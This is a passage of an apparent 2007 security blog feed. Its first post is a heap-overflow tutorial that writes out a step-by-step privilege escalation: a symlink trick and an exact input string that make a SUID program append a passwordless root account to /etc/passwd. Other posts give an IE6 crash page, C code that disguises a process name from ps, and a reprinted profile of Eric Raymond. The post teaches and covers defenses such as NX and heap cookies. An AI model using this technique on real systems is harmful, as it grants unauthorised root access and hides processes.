bytes after userinput in memory Here is what the heap looks like if we entered "good" (no quotes, "/0" is the NULL terminator)&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;HEAP&lt;/strong&gt;&lt;br /&gt;&lt;pre type="syntaxhighlighter" class="brush:c"&gt;----------------&lt;br /&gt;[ g ] &lt;----- userinput&lt;br /&gt;[ o ]&lt;br /&gt;[ o ]&lt;br /&gt;[ d ]&lt;br /&gt;[ /0 ]&lt;br /&gt;[ / ] &lt;------ outputfile&lt;br /&gt;[ t ]&lt;br /&gt;[ m ]&lt;br /&gt;[ p ]&lt;br /&gt;[ / ]&lt;br /&gt;[ n ]&lt;br /&gt;[ o ]&lt;br /&gt;[ t ]&lt;br /&gt;[ e ]&lt;br /&gt;[ s ]&lt;br /&gt;[ /0 ]&lt;/pre&gt;Our program will have no trouble writing userinput to outputfile. Now lets looks at memory if we used the word "happy" (no quotes again, "/0" is our NULL terminator).&lt;strong&gt;HEAP&lt;/strong&gt;&lt;pre type="syntaxhighlighter" class="brush:c"&gt;----------------&lt;br /&gt;[ h ] &lt;----- userinput&lt;br /&gt;[ a ]&lt;br /&gt;[ p ]&lt;br /&gt;[ p ]&lt;br /&gt;[ y ]&lt;br /&gt;[ /0 ] &lt;------ outputfile&lt;br /&gt;[ t ]&lt;br /&gt;[ m ]&lt;br /&gt;[ p ]&lt;br /&gt;[ / ]&lt;br /&gt;[ n ]&lt;br /&gt;[ o ]&lt;br /&gt;[ t ]&lt;br /&gt;[ e ]&lt;br /&gt;[ s ]&lt;br /&gt;[ /0 ]&lt;br /&gt;&lt;/pre&gt;Now our program will not run successfully, because the file it is trying to open begins with a NULL terminator. This is why the error occurs, and is how we can overflow the userinput buffer to corrupt the outputfile buffer. In stack based overflows, we could attempt to execute shellcode to spawn a remote shell, however that doesn't appear possible given our situation with the heap-based overflow. How can we manipulate the outputfile buffer to get what we want (root shell??). Think about it. If we can craft our userinput correctly, and then overflow outputfile with a different filename, we could end up writing our userinput to a completely different file. Since the program has the SUID bit set, what file immediately comes to mind?? /etc/passwd. Everyone should know what a line in /etc/passwd looks like/means, so I wont go into it. If we can add the following line to /etc/passwd, we would be in business.&lt;pre type="syntaxhighlighter" class="brush:c"&gt;rooted::0:0:me:/root:/bin/bash&lt;br /&gt;&lt;/pre&gt;However, let's check the length of this string - 30 bytes. This string will overflow the last 6 bytes - "n/bash" into the outputfile buffer. Well this doesn't help because n/bash isnt the /etc/passwd file we wanted to overwrite. So we see now that our string must end with /etc/passwd and the bytes must line up so that /etc/passwd is overflown into the outputfile buffer. First, how can we make the string end with /etc/passwd, yet actually be referring to the bash shell........SYM LINK. Check it out&lt;pre type="syntaxhighlighter" class="brush:c"&gt;# mkdir /tmp/etc&lt;br /&gt;# ln -s /bin/bash /tmp/etc/passwd&lt;/pre&gt;So now /tmp/etc/passwd is a symlink to /bin/bash. Our input string would now look like:&lt;pre type="syntaxhighlighter" class="brush:c"&gt;rooted::0:0:me:/root:/tmp/etc/passwd&lt;br /&gt;&lt;/pre&gt;Now we need to make sure the overflown buffer will correctly aligned. In other words, we need to make sure that /etc/passwd is exactly overflown into the buffer. Well we know that 24 bytes separate our userinput from our outputfile, so we can make sure that everything before '/etc/passwd' equates to 24 bytes. This will ensure that the only thing to overflow the outputfile buffer will be /etc/passwd from the end of our input string. Right now, the # of character before '/etc/passwd' is 25 (count em). If we shrink this to 24, we might be in business. New input string&lt;pre type="syntaxhighlighter" class="brush:c"&gt;rooted::0:0:m:/root:/tmp/etc/passwd&lt;br /&gt;&lt;/pre&gt;24 bytes before /etc/passwd. OK now i am doing to draw this out in memory (like my crappy drawings before) so you can see what is exactly happening, and then I will tell you how the program handles this string. Take a look (this time I will show all 24 bytes for userinput so you get the whole picture, "/0" still means the NULL terminator).&lt;strong&gt;HEAP&lt;/strong&gt;&lt;pre type="syntaxhighlighter" class="brush:c"&gt;----------------&lt;br /&gt;[ r ] &lt;----- userinput&lt;br /&gt;[ o ]&lt;br /&gt;[ o ]&lt;br /&gt;[ t ]&lt;br /&gt;[ e ]&lt;br /&gt;[ d ]&lt;br /&gt;[ : ]&lt;br /&gt;[ : ]&lt;br /&gt;[ 0 ]&lt;br /&gt;[ : ]&lt;br /&gt;[ 0 ]&lt;br /&gt;[ : ]&lt;br /&gt;[ m ]&lt;br /&gt;[ : ]&lt;br /&gt;[ / ]&lt;br /&gt;[ r ]&lt;br /&gt;[ o ]&lt;br /&gt;[ o ]&lt;br /&gt;[ t ]&lt;br /&gt;[ : ]&lt;br /&gt;[ / ]&lt;br /&gt;[ t ]&lt;br /&gt;[ m ]&lt;br /&gt;[ p ]&lt;br /&gt;[ / ] &lt;----- outputfile&lt;br /&gt;[ e ]&lt;br /&gt;[ t ]&lt;br /&gt;[ c ]&lt;br /&gt;[ / ]&lt;br /&gt;[ p ]&lt;br /&gt;[ a ]&lt;br /&gt;[ s ]&lt;br /&gt;[ s ]&lt;br /&gt;[ w ]&lt;br /&gt;[ d ]&lt;br /&gt;[ /0 ] &lt;/pre&gt;Wow.. ok, so here is what this looks like in memory, now let's understand how the program reads this and how the exploit happens. When we run the program as follows&lt;pre type="syntaxhighlighter" class="brush:c"&gt;# ./heap-based-of rooted::0:0:m:/root:/tmp/etc/passwd&lt;br /&gt;&lt;/pre&gt;The input is a NULL terminated string, so it is going to end with that NULL terminator - seen at the bottom of my little picture. The program starts placing the string we entered into memory and overflows the buffer, so memory looks exactly like the picture. Now, output file is opened so that the writing my occur. The program looks at the first memory element pointed to by outputfile (which happens to be the '/' from '/etc/passwd'). Now, since these are NULL terminated string, the outputfile string is obtained by progressing through memory until the NULL terminator is spotted. Once the NULL terminator is spotted, the string is complete. So the outputfile becomes (progressing through my memory picture from outputfile) /etc/passwd. Just start at outputfile and progress until we hit the NULL terminator and there is the string the program uses as outputfile. Success, the program has now opened /etc/passwd and will begin to append something to it. Now the program will start to write to /etc/passwd from userinput. So the program starts at userinput and progresses through memory until a NULL terminator is hit. Since we overflew the buffer, the entire string we entered will be appened to /etc/passwd (because we hit the NULL terminator at the very end). So now the program is done and has written 'rooted::0:0:m:/root:/tmp/etc/passwd' to '/etc/passwd', effectively giving us a non-passworded root account with the /bin/bash shell (SYM linked from /tmp/etc/passwd). I hope everyone followed this. This is how a very simple heap based overflow works. Heap based overflow are usually harder to spot because one must visualize the layout of memory and how it can be manipulated. Now let's look at some prevention techniques.&lt;strong&gt;PREVENTION OF BUFFER OVERFLOWS:&lt;/strong&gt;Alright. I know everyone here LOVES microsoft so much (I don't mind them), so as a good example I will use their new Buffer Overflow protection methods in SP2 to give you an idea of how buffer overflows can be prevented. I hope you understand the previous example of a heap based overflow. I don't like writing just about how code can be cracked, I like to talk about prevention techniques as well, so here we go.On Intel 64 and AMD 64 chips there is a new feature called Execution Protection (NX). This feature functions on a per-virtual memory page basis. For those not familiar with virtual memory, I will briefly explain. The OS divides memory into a pages, each a specific size. The specific page size can vary between OS. Anyways, when a process wants to run, the OS sticks it into memory by asigning different pieces of code to different pages. Memory addresses and their associated pages are kept track of in the process's page table. This a very very brief and lacking explination, but basically virtual memory eliminates external fragmentation (read more on virtual memory if interested). Quick diagram...-----------------------10K page----------------------10K page----------------------10K page----------------------10K page------------------------Here is memory that the OS as split into 4 10K pages (theoretically). Now a process comes along and needs... 7K of space. So the OS will stick it in a page.-----------------------10K page----------------------Process 1----------------------10K page----------------------10K page------------------------Process 1 now has a page table that tells it what page it is in. Now let's say a process comes along that needs 30K of space and that this process has 3 functions. The OS will now break up process 2 and stick it in the remaining memory spaces. Process 2 will still operate correctly because the page table keeps track of what page it resides in.-----------------------Process 2function 1----------------------Process 1----------------------Process 2function 2----------------------Process 2function 3------------------------Due to virtual memory, we can place Process 2's code in different physical memory locations, and everything is kept in order due to the page table. Process 2's page table will say, if you want to run code from function 1, look in page 1; if you want to run code from function 2, look in page 3; and if you want to run code from function 3, look in page 4. OK this isnt a tutorial on virtual memory, but a brief understanding of it is necessary to understand NX. When I said NX functions on a per-virtual memory page basis, this means that NX associates a bit with the execution privileges of a virtual memory page. This is exactly what Windows XP SP2 does. It will mark pages by raising their NX bit to indicate that these pages are NON-executable. The NX bit is set for pages that content only data (stack, heap). If a program attempts to execute code on a virtual page with the NX bit set, the hardware will throw an exception immediately and prevent the code from executing. This prevents attackers from overflowing a buffer with code and then executing the code (shellcode). However, right now this NX support is only seen in 64 bit processors.The NX feature is nice for protecting against stack overflows, but what about heap overflows??Microsoft calls their heap/stack overflow feature (for 32bit processors) sandboxing. Small "cookies" mark the beginning and end of allocated buffers. These "cookies" are generated based on the heap header. Before memory is allocated and freed, these cookies are checked for consistency. If they are not consistent, then an exception is thrown. Let's dig in a little deeper.As I mentioned earlier, the heap is a double linked list of various free memory. SO, each free piece of memory on the heap must have a header with various information (pointers, size, flags). The main areas of interest here are the pointers. Each free block of memory has a pointer to the next, and previous piece of free memory. Back in the day, if a buffer was overflown, and the neighboring block exsists, and is free, then the next and previous pointers could be overwritten. When this free block is removed from from the list (calls to the next and previous pointers will occur) and execution could jump to shellcode. Quick visualLOW MEMORY-----------------------block header----------------------buffer----------------------block header------------------------next pointer------------------------previous pointer------------------------HIGH MEMORYThe buffer would overflow into the pointers of the neighboring free node. Make sense??? So what Microsoft did with SP2 is to, before each allocation and freeing of heap memory, a quick sanity check is made on the next and previous pointers by using the following concepts of a doubly linked list:&lt;pre type="syntaxhighlighter" class="brush:c"&gt;Free_Node -&gt; next -&gt; previous = Free_Node -&gt; previous -&gt; next&lt;br /&gt;Free_Node -&gt; previous -&gt; next = Free_Node&lt;br /&gt;&lt;/pre&gt;If one of these checks fails, then an exception is thrown and execution stops. The cookies are in the block headers, and are checked to ensure that the buffer hasnt been overflown.&lt;strong&gt;CONCLUSION&lt;/strong&gt;Well there you have it. I showed you a very simple heap based overflow in order to give you an idea of the concept behind a heap based overflow, and I also demonstrated a few methods that have been utilized to prevent heap based overflows. I hope this was an understanding and helpful tutorial. If I get good responses maybe I will write some more. I'm done.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/37842813-4562408748767137302?l=pthreads.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pthreads.blogspot.com/feeds/4562408748767137302/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=37842813&amp;postID=4562408748767137302&amp;isPopup=true' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/37842813/posts/default/4562408748767137302'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/37842813/posts/default/4562408748767137302'/><link rel='alternate' type='text/html' href='http://pthreads.blogspot.com/2007/04/heap-overflow.html' title='Heap Overflow'/><author><name>Arun Chandrasekaran</name><uri>https://profiles.google.com/104588886249744563584</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh5.googleusercontent.com/-4_fCT5-Bzi4/AAAAAAAAAAI/AAAAAAAAN6g/r7se38X2WZI/s512-c/photo.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-37842813.post-2088410448292955031</id><published>2007-04-03T13:59:00.000+05:30</published><updated>2008-02-10T19:20:11.466+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='Windows'/><title type='text'>Bug in IE 6</title><content type='html'>This is a bug which I found in IE 2 years ago ;-) Try it, no harm.&lt;br /&gt;&lt;br /&gt;The 'shlwapi.dll' dynamic link library causes a calling application to fail when it attempts to render certain malformed HTML tags. This appears to be due to an attempt to perform a string comparison where one of the strings is a null pointer. It has been reported that this vulnerability could not be exploited to cause code execution.&lt;br /&gt;&lt;br /&gt;Copy this code and save this as a .html file. You will see your AV bloking this file. :D&lt;br /&gt;&lt;br /&gt;&amp;lthtml&amp;gt&lt;br /&gt;&amp;ltform&amp;gt&lt;br /&gt;&amp;ltinput type crash&amp;gt&lt;br /&gt;&amp;lt/form&amp;gt&lt;br /&gt;&amp;lt/html&amp;gt&lt;br /&gt;&lt;br /&gt;WorkaroundAs a workaround for explorer.exe, users should open Windows Explorer, select Tools-&gt;Folder Options and select the "Use Windows classic folders" option.&lt;br /&gt;&lt;br /&gt;It doesnt look like theres an actually fix. It does not crash me at all with both FireFox and the newest IE.&lt;br /&gt;&lt;br /&gt;I reference a NULL pointer overwrite. While a NULL pointer exception is hard near impossible to expoit, usually when you can overwrite a section of memory it is possible.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/37842813-2088410448292955031?l=pthreads.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pthreads.blogspot.com/feeds/2088410448292955031/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=37842813&amp;postID=2088410448292955031&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/37842813/posts/default/2088410448292955031'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/37842813/posts/default/2088410448292955031'/><link rel='alternate' type='text/html' href='http://pthreads.blogspot.com/2007/04/bug-in-ie-6.html' title='Bug in IE 6'/><author><name>Arun Chandrasekaran</name><uri>https://profiles.google.com/104588886249744563584</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh5.googleusercontent.com/-4_fCT5-Bzi4/AAAAAAAAAAI/AAAAAAAAN6g/r7se38X2WZI/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-37842813.post-4240448422433720272</id><published>2007-03-30T18:07:00.001+05:30</published><updated>2010-03-27T14:19:18.303+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><title type='text'>Hide a process</title><content type='html'>Here we go... The first kick..&lt;br /&gt;All the programs that will follow are written and tested on RHEL4, with gcc 3.4.5.&lt;br /&gt;&lt;br /&gt;Basically you can &lt;span style="font-family:lucida grande;"&gt;rename&lt;/span&gt; a process to whatever you want by overwriting argv[0], yo uhave to fully null out argv[0] and just a simple strcpy wont work entirely right.&lt;br /&gt;&lt;br /&gt;&lt;pre type="syntaxhighlighter" class="brush:c"&gt;int main(argc, argv)&lt;br /&gt;int argc;&lt;br /&gt;char **argv;&lt;br /&gt;{&lt;br /&gt;char *p;&lt;br /&gt;&lt;br /&gt;for (p = argv[0]; *p; p++)&lt;br /&gt;*p = 0;&lt;br /&gt;&lt;br /&gt;strcpy(argv[0], "W32WormMail@@VIRUS");&lt;br /&gt;&lt;br /&gt;(void) getchar (); /* to allow you to see that ps reports "W32WormMail@@VIRUS" */&lt;br /&gt;return(0);&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;span style="font-family:Courier New;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:lucida grande;"&gt;As requested by beginners:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:Courier New;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:lucida grande;"&gt;Compile the above program (after including &lt;span style="font-family:courier new;"&gt;stdio.h&lt;/span&gt; and &lt;span style="font-family:courier new;"&gt;string.h&lt;/span&gt;) as follows&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:Courier New;"&gt;g++ -o program.exe program.c&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:Courier New;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:Courier New;"&gt;&lt;strong&gt;Note:&lt;/strong&gt; 'top' seems to pick the process names from somewhere else and not from the process table. The above code will change the process table entry. So 'ps' cannot identify the real name of the process. But 'top' can.&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/37842813-4240448422433720272?l=pthreads.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pthreads.blogspot.com/feeds/4240448422433720272/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=37842813&amp;postID=4240448422433720272&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/37842813/posts/default/4240448422433720272'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/37842813/posts/default/4240448422433720272'/><link rel='alternate' type='text/html' href='http://pthreads.blogspot.com/2007/03/hide-process.html' title='Hide a process'/><author><name>Arun Chandrasekaran</name><uri>https://profiles.google.com/104588886249744563584</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh5.googleusercontent.com/-4_fCT5-Bzi4/AAAAAAAAAAI/AAAAAAAAN6g/r7se38X2WZI/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-37842813.post-1024437183507386404</id><published>2007-03-30T17:42:00.000+05:30</published><updated>2008-02-10T19:26:44.323+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='Hack'/><title type='text'>Its time...</title><content type='html'>I believe, its time to post some tips to become hardcore coders. Hacking, the term which is wrongly interpreted these days, will be redefined here in this blog.&lt;br /&gt;&lt;br /&gt;I remember, I read an article about hackers which I would like to share it with you. This will make us to feel more responsible when know what hacking is all about. After reading this am sure that you will not like urself to be one among those who just asks for ways to break into yahoo mail or gmail servers, torture the ignorant net users.&lt;br /&gt;&lt;br /&gt;I got this article from &lt;a href="http://www.iwar.org.uk/hackers/resources/harmless-hacking/"&gt;here&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;#################################################&lt;br /&gt;_________________________________________________________&lt;br /&gt;&lt;br /&gt;Guide to (mostly) Harmless Hacking&lt;br /&gt;&lt;br /&gt;Vol. 6 Real Hackers&lt;br /&gt;&lt;br /&gt;No. 1: Eric S. Raymond&lt;br /&gt;_________________________________________________________&lt;br /&gt;"Hackers built the Internet. Hackers made the UNIX operating system what it is today. Hackers run Usenet. Hackers make the World Wide Web work. If you are part of this culture, if you have contributed to it and other people in it know who you are and call you a hacker, you're a hacker...&lt;br /&gt;&lt;br /&gt;"There is another group of people who loudly call themselves hackers, but aren't. These are people (mainly adolescent males) who get a kick out of breaking into computers and phreaking the phone system. Real hackers call&lt;br /&gt;these people `crackers' and want nothing to do with them. Real hackers mostly think crackers are lazy, irresponsible, and not very bright, and object that being able to break security doesn't make you a hacker any more than being able to hotwire cars makes you an automotive engineer.&lt;br /&gt;Unfortunately, many journalists and writers have been fooled into using the word `hacker' to describe crackers; this irritates real hackers no end.&lt;br /&gt;&lt;br /&gt;"The basic difference is this:&lt;br /&gt;hackers build things, crackers break them...&lt;br /&gt;&lt;br /&gt;Hackerdom's most revered demigods are people who have written large, capable programs that met a widespread need and given them away, so that now everyone uses them.&lt;br /&gt;&lt;br /&gt;"If you want to be a hacker, keep reading. If you want to be a cracker, go&lt;br /&gt;read the alt.2600 newsgroup and get ready to do five to ten in the slammer&lt;br /&gt;after finding out you aren't as smart as you think you are. And that's all&lt;br /&gt;I'm going to say about crackers." -- Eric S. Raymond,&lt;br /&gt;&lt;br /&gt;&lt;a href="http://locke.ccil.org/~esr/faqs/hacker-howto.html"&gt;http://locke.ccil.org/~esr/faqs/hacker-howto.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Who are the real hackers? Who are the people we can admire and model our lives upon? The Real Hackers series of these Guides introduces these people.&lt;br /&gt;&lt;br /&gt;We start with Eric S. Raymond. He is well known in the hacker world. He&lt;br /&gt;epitomizes all that a real hacker should be. He has wide ranging programming experience: C, LISP, Pascal, APL, FORTRAN, Forth, Perl, and Python; and is proficient in assembly language for the Z80, 80x86, and 680xx CPUs. He also knows French, Spanish and Italian.&lt;br /&gt;Raymond is one of the core developers of Linux, and a major force in the ongoing evolution of the EMACS Lisp language. He maintains fetchmail, a&lt;br /&gt;freeware utility for retrieving and forwarding mail from POP2/POP3/IMAP&lt;br /&gt;mailservers.&lt;br /&gt;&lt;br /&gt;But Raymond is perhaps most famous among real hackers as the man who maintains the hacker jargon file. You can read it at &lt;a href="http://www.ccil.org/jargon"&gt;http://www.ccil.org/jargon&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;He also maintains numerous other well-regarded FAQ and HOWTO documents, including the "Java-On-Linux HOWTO," the "Linux Distributions HOWTO," the "PC-Clone UNIX Hardware Buyer's Guide," the "So You Want To Be A UNIX Wizard? FAQ" (aka The Loginataka), and the "How To Become A Hacker FAQ" --&lt;br /&gt;see &lt;a href="http://locke.ccil.org/~esr/faqs/hacker-howto.html"&gt;http://locke.ccil.org/~esr/faqs/hacker-howto.html&lt;/a&gt; (quoted above).&lt;br /&gt;&lt;br /&gt;Raymond also founded and runs the Chester County InterLink. This is a 501©3 nonprofit organization that gives free InterNet access to the&lt;br /&gt;residents of Chester County, Pennsylvania. At last count, it had over two&lt;br /&gt;thousand users and was gaining about fifty a week.&lt;br /&gt;&lt;br /&gt;Raymond also has written the funniest hacker humor ever: "Unix Wars," which builds upon the really, really ancient hacker humor article, "DEC&lt;br /&gt;Wars." You may read it at &lt;a href="http://www.devnull.net/docs/unixwars.html"&gt;http://www.devnull.net/docs/unixwars.html&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Raymond is the author of many books. They include "The New Hackers Dictionary," now in its 3rd edition (MIT Press 1996, ISBN 0-262-68092-0),&lt;br /&gt;and "Learning GNU Emacs," (2nd edition, O'Reilly Associates, ISBN 0-937175-84-6). He was the principal researcher and author of "Portable C and UNIX Systems Programming," (Prentice-Hall ISBN 0-13-686494-5) (the name "J. E. Lapin" appearing on the cover was a corporate fiction). The advent of the September 1996 third edition of "Portable C..." led to interviews with Raymond in Wired magazine (August 1996) and People magazine (October 1996).&lt;br /&gt;&lt;br /&gt;"Wait, wait!" you say. "I'm on hacker IRC channels and hacker mail lists all the time and I have never heard of Raymond! Why, he doesn't even have a kewl handle like Mauve Knight or Ei8ht or DisordeR. Sheesh, Raymond isn't&lt;br /&gt;even a member of some 31337 gang with a name like K-rad Doomsters of the&lt;br /&gt;Apocalypse."&lt;br /&gt;&lt;br /&gt;Welcome to the world of real hackers. As Raymond points out in his "How To Become A Hacker FAQ," there are two kinds of hackers: real hackers who aspire to learn and create, and the phonies who think crashing or breaking&lt;br /&gt;into a computer proves they are geniuses.&lt;br /&gt;&lt;br /&gt;Guess which kind you usually meet at 2600 meetings, on IRC channels with names like #hack, on news groups such as alt.2600 and alt.hacker, and mail lists with names like DC-stuff and HH-Chat? That is not to say that every&lt;br /&gt;single person you will meet there is a lamer and a poser. But few real hackers will put up with the flames, criminal mentality and ignorance of the majority of folks you encounter there.&lt;br /&gt;&lt;br /&gt;Where do you meet real hackers like Raymond? You might encounter a few of them at the annual Def Con or Hope on Planet Earth conferences. (Raymond, however, asserts this is "not likely.") You will, however, find real hackers by the hundreds at the Usenix conferences (see &lt;a href="http://www.usenix.org/events/"&gt;http://www.usenix.org/events/&lt;/a&gt;), or by the thousands in the free&lt;br /&gt;software movement.&lt;br /&gt;&lt;br /&gt;*********************************************************&lt;br /&gt;Newbie note: How can you get involved in the free software movement and get&lt;br /&gt;to know the hacker demigods? For starters, try GNU. GNU stands for "Gnu's&lt;br /&gt;Not UN-IX." The GNU project is an international effort that is being run by&lt;br /&gt;the Free Software Foundation. See &lt;a href="http://www.gnu.org/"&gt;http://www.gnu.org/&lt;/a&gt; for more information.&lt;br /&gt;Are you wondering, "Gnu's Not UN-IX? Whaddaya mean?" Be warned, real hackers&lt;br /&gt;have a twisted sense of humor. GNU is a recursive acronym. When the mere&lt;br /&gt;thought of a recursive acronym can throw you into gales of laughter, you&lt;br /&gt;will know you are turning into a real hacker.&lt;br /&gt;*********************************************************&lt;br /&gt;&lt;br /&gt;"The free software movement?" you ask. "How come no one ever, ever talks about coding operating system kernels or new scripting languages on&lt;br /&gt;alt.2600 or dc-stuff?" Yup, you guessed it, it's because the majority of&lt;br /&gt;those folks just want to f*** things up. Real hackers aspire to create&lt;br /&gt;software. Not just exploit code for f***ing up computers. But to create&lt;br /&gt;serious, big time software.&lt;br /&gt;The free software movement is where Raymond and his friends -- folks such as Linus Torvalds (the fellow who launched and ran the Linux project that created the operating system most widely used by hackers) and Larry Wall&lt;br /&gt;(creator of Perl, one of the top two programming languages used by hackers)&lt;br /&gt;work together.&lt;br /&gt;Much of the software these hacker demigods write is copylefted. A copyleft is -- yes, you are right, a copyleft is another example of twisted hacker&lt;br /&gt;humor. But basically a copyleft says you have the right to reuse copylefted code in your own software, and even sell it, and make money on it, with only one condition. You must make the source code to your software available for anyone else who may wish to use it in writing their own software.&lt;br /&gt;&lt;br /&gt;Want to hang out with the hacker demigods? Have your learned to program pretty well yet? If so, you may discover a warm welcome from the GNU folks and others in the free software movement.&lt;br /&gt;&lt;br /&gt;How did Raymond become one of the tribal elders of the hacker world? It all started, he remembers, in 1968 when he was only 11. "My father worked for Sperry Univac. On days off he would take me in to play with the 1108.&lt;br /&gt;It was worth about $8 million -- in 1968 dollars!" Raymond remembers it being a&lt;br /&gt;gigantic computer housed in an air-conditioned room.&lt;br /&gt;&lt;br /&gt;Back then it was a major feat for anyone to get their hands on a computer. Back then they were primitive, expensive and fragile. Raymond remembers reading the ACM journal in 1974 and dreaming about how wonderful it would be if he could ever get his hands on that new operating system they were&lt;br /&gt;creating -- Unix. While in high school he did manage to get access -- via teletype -- to a TTY (a verrry primitive terminal) at Ursinus College (located in Phoenixville, Pennsylvania). With that TTY he was able to use the Dartmouth Time-Sharing System computer. But it was mostly just good for playing games.&lt;br /&gt;&lt;br /&gt;Raymond began college as a math and philosophy major. But in 1976 he got his hands on an account with a DEC PDP-10 -- and a connection to ARPAn et, the early form of today's Internet. "I was seduced by the computing side."&lt;br /&gt;Raymond soon switched to computer science.&lt;br /&gt;&lt;br /&gt;While on ARPAnet, visiting a computer at MIT, Raymond discovered the Hacker Jargon File. Raymond was hooked. He decided he would become a&lt;br /&gt;hacker. A real hacker.&lt;br /&gt;&lt;br /&gt;In 1983 Raymond printed out the jargon file, bound it as a book, titled it&lt;br /&gt;"Understanding Your Hacker," and presented it to his boss. His boss loved it.&lt;br /&gt;&lt;br /&gt;Back in 1983, few people were afraid of those who called themselves&lt;br /&gt;hackers. Back then people were aware that hackers were odd and brilliant&lt;br /&gt;characters. But that was before crowds of vandals and criminals started&lt;br /&gt;claiming they, too, were hackers. Journalists, at a loss as to what to call&lt;br /&gt;that new breed of digital gang bangers, started calling them hackers, too.&lt;br /&gt;&lt;br /&gt;Meanwhile, Raymond came to the realization that he not only had a talent for programming -- he could write texts really well, too. In 1987 he updated "DEC Wars" to create the immortal "Unix Wars," which will finally see print for the first time in Carolyn Meinel's "Happy Hacker" book (American Eagle Publications, in press, due out in late Feb. 1998).&lt;br /&gt;&lt;br /&gt;In 1990 Raymond decided to spend a weekend updating the Hacker Jargon File. When Monday morning rolled around, he had quadrupled the size of the file. He contacted the folks who maintained it, who were delighted to let him take it over. Not long afterward, he published it as "The New Hacker's Dictionary."&lt;br /&gt;&lt;br /&gt;So what is Raymond doing today? "I do most of my programming in C," he tells us, "but I still think in Lisp." He works "the odd consulting job, technical reviews of books for publishers like O'Reilly." Adds Raymond, laughing, "They know I know where all the bodies are buried."&lt;br /&gt;&lt;br /&gt;Where does Raymond see the hacker culture going? "It used to be hard to acculturate, hard to find the hacker community. But now it's expanding&lt;br /&gt;tremendously, thanks to the Linux phenomenon. Linux really made a difference. Now we have a common goal, and a universal platform for people's software projects. Perl has had a similar effect, providing us with a cross-platform tool kit."&lt;br /&gt;&lt;br /&gt;Raymond sees some hope even in the fast-growing, yet incredibly&lt;br /&gt;destructive "cracker" scene (crackers are people who break into computers).&lt;br /&gt;"People in the cracker community play awhile, then eventually the bright ones end up coming over to the free software culture. Many of them write to me." Raymond says he has communicated with many people who have gone through a digital vandal stage, only to eventually wake up and realize they wanted to feel good about themselves by making the world a better place.&lt;br /&gt;&lt;br /&gt;So, how many future hacker demigods are reading this Guide? Maybe quite a few. May the Source Code be with you if you should choose to quest for hacker fame the Raymond way!&lt;br /&gt;_______________________________________________________________________&lt;br /&gt;Where are those back issues of GTMHHs and Happy Hacker Digests? Check out&lt;br /&gt;the official Happy Hacker Web page at &lt;a href="http://techbroker.com/happyhacker.html"&gt;http://techbroker.com/happyhacker.html&lt;/a&gt;.&lt;br /&gt;Us Happy Hacker folks are against computer crime. We support good,&lt;br /&gt;old-fashioned hacking of the kind that led to the creation of the Internet&lt;br /&gt;and a new era of freedom of information. So please don't email us about any&lt;br /&gt;crimes you may have committed. We won't be impressed. We might even call the&lt;br /&gt;cops on you!&lt;br /&gt;To subscribe to Happy Hacker and receive the Guides to (mostly) Harmless&lt;br /&gt;Hacking, please email &lt;a href="mailto:hacker@techbroker.com"&gt;hacker@techbroker.com&lt;/a&gt; with message "subscribe&lt;br /&gt;happy-hacker" in the body of your message.&lt;br /&gt;Copyright 1997 Carolyn P. Meinel &lt;&lt;a href="mailto:cmeinel@techbroker.com"&gt;cmeinel@techbroker.com&lt;/a&gt;&gt;. These Guides to&lt;br /&gt;(mostly) Harmless Hacking are, in the spirit of copyleft, free for anyone to&lt;br /&gt;forward, post, print out and even make into books to sell -- just so long as&lt;br /&gt;you keep this info attached to this Guide so your readers know where to go&lt;br /&gt;to get free GTMHHs.&lt;br /&gt;&lt;br /&gt;R.J. Gosselin, Sr.&lt;br /&gt;~+~+~+~~+~+~+~+~+~+~+~~+~+~+~+~+~+~+~+&lt;br /&gt;Editor-In-Chief -- Happy Hacker Digest&lt;br 